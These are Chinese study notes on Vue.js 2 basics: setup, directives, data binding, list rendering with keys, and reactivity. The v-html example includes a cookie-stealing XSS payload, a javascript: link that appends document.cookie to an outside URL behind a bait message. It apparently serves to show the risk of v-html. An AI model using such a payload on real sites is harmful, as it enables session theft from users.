vue.js开发环境
关于作者
尤雨溪是Vue.js框架的作者，他是我最佩服的华人程序员之一，他的编码经历深深的激励着我。
程序员最讲究的就是作品，光说没用，代码要拿出来溜溜！所以现在程序员都得有自己的GitHub。
Vue作者尤雨溪：以匠人的态度不断打磨完善Vue（图灵访谈） - 百度文库 (baidu.com)
他还是位老二次元哈哈哈，不同版本都用经典动漫和小说作为版本名称
关于vscode
1
2
3
| Vue 3 Snippets:快速生成Vue3代码的插件
Vetur 的特性: 语法高亮, 代码片段 (emmet 给我的感觉是一个写好了的 snippet), 质量提示 & 错误、格式化 / 风格、智能提示等。
<script src="https://cdn.staticfile.org/vue/2.7.0/vue.min.js">
|
1
| Vue.config.productionTip = false
|
认识vue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <div id="root">
<h1>Hello,宋宇然</h1>
<h1>我的年龄为：{{name}}</h1>
</div>
<script>
new Vue({
el: '#root',
data: {
name: 'a'
}
}
)
</script>
|
想让vue工作要先创建vue实例，root容器代码依然符合html规范只不过里面引入了特殊的vue语法而已，root里面的代码称之为vue模板
插值语法
v-on
绑定事件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <div id="root">
<img v-bind:src="url" alt="">
<button v-on:click="sayHi"> d点我</button>
<button @click="sayHi"> d点我</button>
</div>
<script>
new Vue({
el: "#root",
data: {
url: "../"
},
methods: {
sayHi() {
alert("hello")
}
},
})
</script>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<div id="root">
<img v-bind:src="url" alt="">
<button v-on:click="sayHi"> d点我</button>
<button @click="changImg"> d点我</button>
</div>
<script>
new Vue({
el: "#root",
data: {
url: "1.png"
},
methods: {
sayHi() {
alert("hello")
},
changImg() {
this.url = "2.png"
}
},
})
</script>
</body>
</html>
|
v-on绑定方法
v-bind 绑定属性
绑定文本
1
2
3
| npm install -g cnpm --registry=https://registry.npm.taobao.org
|
脚手架
1
2
3
| npm install -g @vue/cli
使用vue项目 vue create hello
启动服务器 npm run serve
|
创建vue项目
创建项目
执行:vue create xxxx xxxx是项目名,不要大写和特殊符号
数据双向绑定
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
<body>
<div id="app">
<input v-model="message">
<input v-model="formData.username"><br>
<input v-model="formData.password">
<button v-on:click="subit">提交</button>
<p>{{ message }}</p>
</div>
<script>
new Vue({
el: "#app",
data: {
number: 0,
message: "hello",
formData: {
username: '',
password: '',
}
},
methods: {
subit() {
console.log(this.formData)
}
},
})
</script>
</body>
|
条件和循环
控制切换一个元素是否显示也相当简单：
1
2
3
4
5
6
7
8
9
| <div id="app-3">
<p v-if="seen">现在你看到我了</p>
</div>
var app3 = new Vue({
el: '#app-3',
data: {
seen: true
}
})
|
现在你看到我了
继续在控制台输入 app3.seen = false，你会发现之前显示的消息消失了。
外，Vue 也提供一个强大的过渡效果系统，可以在 Vue 插入/更新/移除元素时自动应用过渡效果。
还有其它很多指令，每个都有特殊的功能。例如，v-for 指令可以绑定数组的数据来渲染一个项目列表：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <div id="app-4">
<ol>
<li v-for="todo in todos">
{{ todo.text }}
</li>
</ol>
</div>
var app4 = new Vue({
el: '#app-4',
data: {
todos: [
{ text: '学习 JavaScript' },
{ text: '学习 Vue' },
{ text: '整个牛项目' }
]
}
})
|
- 学习 JavaScript
- 学习 Vue
- 整个牛项目
在控制台里，输入 app4.todos.push({ text: '新项目' })，你会发现列表最后添加了一个新项目。
Vue 还提供了 v-model 指令，它能轻松实现表单输入和应用状态之间的双向绑定。
1
2
3
4
5
6
7
8
9
10
| <div id="app-6">
<p>{{ message }}</p>
<input v-model="message">
</div>
var app6 = new Vue({
el: '#app-6',
data: {
message: 'Hello Vue!'
}
})
|
事件修饰符
- prevent 阻止默认事件
- stop 阻止事件冒泡
- once 事只能触发一次
键盘事件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<div id="app">
<h2>欢迎来学习</h2>
<input type="text" placeholder="回车后提示输入 " @keyup.enter="a">
</div>
<script>
new Vue({
el: '#app',
methods: {
a(e) {
console.log(e.target.value)
}
},
})
</script>
</body>
</html>
|
计算属性computed
1
2
3
4
5
6
7
| conputed{
fullname:{
get(){
}
}
}
|
监视
1
2
3
4
5
6
7
| watch: {
isHot: {
handler() {
console.log("修改了")
}
}
}
|
条件渲染
v-show
1
2
3
4
5
6
7
8
| <div id="app">
<h2 v-show="false">aaaaa</h2>
</div>
<script>
new Vue({
el: '#app'
})
</script>
|
1
2
3
4
| v-if
<div id="app">
<h2 v-if="11==1">aaaaa</h2>
</div>
|
列表渲染
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| <body>
<div id="root">
<ui>
<li v-for="person in persons" :key="person.id">{{person.name}}-{{person.age}}</li>
</ui>
</div>
<script>
new Vue({
el: '#root',
data: {
persons: [
{ id: '01', name: '宋宇然', age: 17 },
{ id: '02', name: '市政厅', age: 19 },
{ id: '03', name: '虞美人', age: 15 },
]
}
})
</script>
|
关于key为什么要写
如果是在这种情况下li里面夹着input，add一个新的列表，会改变input的值，无法同步，这时候key就又存在的必要性了
(99条消息) Vue中key的作用及原理_纸照片的博客-CSDN博客_vue中的key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="(p,index) of filPerons" :key="index">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.13/vue.js"></script>
<script>
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 20, sex: '女' },
{ id: '003', name: '周杰伦', age: 21, sex: '男' },
{ id: '004', name: '温兆伦', age: 22, sex: '男' }
],
filPerons: []
},
watch: {
keyWord: {
immediate: true,
handler(val) {
this.filPerons = this.persons.filter((p) => {
return p.name.indexOf(val) !== -1
})
}
}
}
})
</script>
</body>
|
vue更新的问题
1
2
3
4
5
6
7
| updateMei() {
this.persons.splice(0, 1, { id: '001', name: '马老师', age: 50, sex: '男' })
}
|
1
2
3
4
| addSex(){
this.$set(this.student,'sex','男')
}
|
<!–
Vue监视数据的原理：
\1. vue会监视data中所有层次的数据。
\2. 如何监测对象中的数据？
通过setter实现监视，且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性，Vue默认不做响应式处理
(2).如需给后添加的属性做响应式，请使用如下API：
Vue.set(target，propertyName/index，value) 或
vm.$set(target，propertyName/index，value)
\3. 如何监测数组中的数据？
通过包裹数组更新元素的方法实现，本质就是做了两件事：
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板，进而更新页面。
4.在Vue修改数组中的某个元素一定要用如下方法：
1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
2.Vue.set() 或 vm.$set()
特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性！！！
-->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
<div id="root">
<form @submit.prevent="demo">
账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
密码：<input type="password" v-model="userInfo.password"> <br/><br/>
年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
性别：
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好：
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br/><br/>
所属校区
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br/><br/>
其他信息：
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:18,
sex:'female',
hobby:[],
city:'beijing',
other:'',
agree:''
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>
</html>
|
v-text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| <body>
<div id="root">
<div>你好，{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
|
v-html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| <body>
<div id="root">
<div>你好，{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊！</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
}
})
</script>
|
以上为旧笔记
vue常用的指令
1
2
3
4
5
6
7
8
9
10
11
12
13
| - v-text（类似innerText）
- - 使用语法：`<p v-text="uname">hello</p>`，意思是将 uame 值渲染到 p 标签中
- 类似 innerText，使用该语法，会覆盖 p 标签原有内容
- v-html（类似 innerHTML）
- - 使用语法：`<p v-html="intro">hello</p>`，意思是将 intro 值渲染到 p 标签中
- 类似 innerHTML，使用该语法，会覆盖 p 标签原有内容
- 类似 innerHTML，使用该语法，能够将HTML标签的样式呈现出来。
|
- 条件渲染指令（v-show、v-if、v-else、v-else-if）
1
2
3
4
5
6
7
8
9
10
| 1. v-show
1. 作用： 控制元素显示隐藏
2. 语法： v-show = "表达式" 表达式值为 true 显示， false 隐藏
3. 原理： 切换 display:none 控制显示隐藏
4. 场景：频繁切换显示隐藏的场景
2. v-if
1. 作用： 控制元素显示隐藏（条件渲染）
2. 语法： v-if= "表达式" 表达式值 true显示， false 隐藏
3. 原理： 基于条件判断，是否创建 或 移除元素节点
4. 场景： 要么显示，要么隐藏，不频繁切换的场景
|
1
2
3
4
| - <button v-on:事件名="内联语句">按钮</button>
- <button v-on:事件名="处理函数">按钮</button>
- <button v-on:事件名="处理函数(实参)">按钮</button>
- `v-on:` 简写为 **@**
|
1
2
3
| 1. **作用：**动态设置html的标签属性 比如：src、url、title
2. **语法**：**v-bind:**属性名=“表达式”
3. **v-bind:**可以简写成 => **:**
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| 所谓双向绑定就是：
1. 数据改变后，呈现的页面结果会更新
2. 页面结果更新后，数据也会随之而变
**作用：** 给**表单元素**（input、radio、select）使用，双向绑定数据，可以快速 **获取** 或 **设置** 表单元素内容
**语法：**v-model="变量"
**需求：**使用双向绑定实现以下需求
1. 点击登录按钮获取表单中的内容
2. 点击重置按钮清空表单中的内容
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| **语法：** key="唯一值"
**作用：**给列表项添加的**唯一标识**。便于Vue进行列表项的**正确排序复用**。
**为什么加key：**Vue 的默认行为会尝试原地修改元素（**就地复用**）
实例代码：
```js
<ul>
<li v-for="(item, index) in booksList" :key="item.id">
<span>{{ item.name }}</span>
<span>{{ item.author }}</span>
<button @click="del(item.id)">删除</button>
</li>
</ul>
```
注意：
1. key 的值只能是字符串 或 数字类型
2. key 的值必须具有唯一性
3. 推荐使用 id 作为 key（唯一），不推荐使用 index 作为 key（会变化，不对应）
|
- 指令是 vue 开发中最基础、最常用、最简单的知识点。
